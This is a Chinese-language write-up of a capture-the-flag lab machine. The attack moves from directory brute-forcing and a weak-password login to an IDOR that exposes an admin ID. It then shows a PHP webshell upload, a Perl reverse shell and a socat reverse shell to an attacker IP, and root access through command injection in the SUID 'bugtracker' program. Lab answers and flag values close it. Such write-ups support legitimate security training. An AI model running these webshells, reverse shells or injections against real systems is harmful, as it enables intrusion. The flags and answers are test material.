AI摘要:本文记录了一次渗透测试,通过目录爆破发现上传路径,利用弱口令登录后台,通过修改ID参数实现IDOR漏洞,获取管理员权限。上传一句话木马获取webshell,通过db.php文件获取数据库密码,反弹shell,利用SUID程序bugtracker提权至root,最终获取root flag。
首先使用gobuster进行目录爆破
gobuster dir -u http://10.129.188.198/ -w /usr/share/wordlists/dirb/common.txt
发现/uploads路径,这对之后的渗透至关重要
访问http://10.129.188.198
注意邮箱是admin@megacorp
而Archetype 的管理员密码是 MEGACORP_4dm1n!!
,看上去像是 MegaCorp admin
的变形,我们等会看看
照例查看网站源代码,发现疑似登录口login
我们根据线索进入 http://10.129.188.198/cdn-cgi/login/
如愿看见登录口,并且发现账户名是admin,而不是Archetype的administrator
尝试使用admin/MEGACORP_4dm1n!!登录
意外之喜,竟然真的进去了
可以看到是能用Guest登陆的,Acess ID为2333
注意网站为 http://10.129.188.198/cdn-cgi/login/admin.php?content=accounts&id=2
既然Guest为id=2,我们猜测admin即为id=1,
即 http://10.129.188.198/cdn-cgi/login/admin.php?content=accounts&id=1
访问后得到管理员ID:34322
访问/upload,发现403
我们查找整个网站的线索,发现了upload点,
使用一句话木马
<?php @eval($_POST['attack']);?>
蚁剑进行连接
但权限很低,是 www-data
,需要提权。
![[Pasted image 20250529190915.png]]
查看登陆点
cd /var/www/html/cdn-cgi/login
发现db.php
拿到密码
然后发现一个尴尬的事情,权限掉了(),可能是一句话木马被杀掉了,不过还好拿到了密码,我们可以另辟蹊径,通过反弹shell来继续
nc监听
nc -nvlp 4444
shell.php
<?php echo shell_exec($_GET['shell']);?>
访问
http://10.129.188.198/uploads/shell.php?shell=perl%20-MIO%20-e%20%27$p=fork;exit,if($p);$c=new%20IO::Socket::INET(PeerAddr,%2210.10.16.9:4444%22);STDIN-%3Efdopen($c,r);$~-%3Efdopen($c,w);system$_%20while%3C%3E;%27
拿到的反弹 Shell 是非交互式的,为便于操作,下载 socat,并使用 socat 发起新的反弹 Shell 到 3333 端口,操作如下图所示
启动web服务
mkdir -p /home/kali/web
cp /usr/bin/socat /home/kali/web/
cd /home/kali/web
python3 -m http.server 80
对已拿到低权限的shell进行操作
perl -e 'exec "/bin/sh";'
wget http://10.10.16.15/socat
ls
chmod +x socat
./socat exec:'/bin/bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.16.15:6666
使用script命令
script -qc /bin/bash /dev/null
SHELL=/bin/bash script -q /dev/null
查看具有 SUID 的可执行文件
ls -lh $(find / -perm -u=s -type f 2>/dev/null)
看到了一个奇怪的程序
-rwsr-xr-- 1 root bugtracker 8.6K Jan 25 10:14 /usr/bin/bugtracker
这个程序得是 root
或是 bugtracker
组的用户才能执行。用 cat /etc/group | grep bugtracker
查看 bugtracker
组的用户,看到 robert
恰好在其中
cat /etc/group | grep bugtracker
执行bugtracker
可以看到调用了cat
再次执行bugtracker
ID输入
111;/bin/bash
拿到root权限
信息收集
ls -lRa /root
cat root.txt
拿到根flag:af13b0bee69f8a877c3faf667f7beacf
1.用什么工具可以拦截网络流量?
PS: proxy
2.返回登录页面的网络服务器上的目录路径是什么?
PS: /cdn-cgi/login
3.在 Firefox 中可以进行哪些修改才能访问上传页面?
PS: Cookie
4.管理员用户的访问 ID 是什么?
PS: 34322
5.上传文件后,该文件出现在服务器上的哪个目录中?
PS: /uploads
6.包含与 robert 用户共享的密码的文件是什么?
PS: db.php
7.使用选项“-group bugtracker”运行哪个可执行文件来识别 bugtracker 组拥有的所有文件?
PS: find
8.无论哪个用户开始运行 bugtracker 可执行文件,将使用什么用户权限来运行?
PS: root
9.SUID 代表什么?
PS: Set owner User ID
10.以不安全方式调用的可执行文件的名称是什么?
PS: cat
11.提交用户标志
PS: f2c74ee8db7983851ab2a96a44eb7981
12.提交根标志
PS: af13b0bee69f8a877c3faf667f7beacf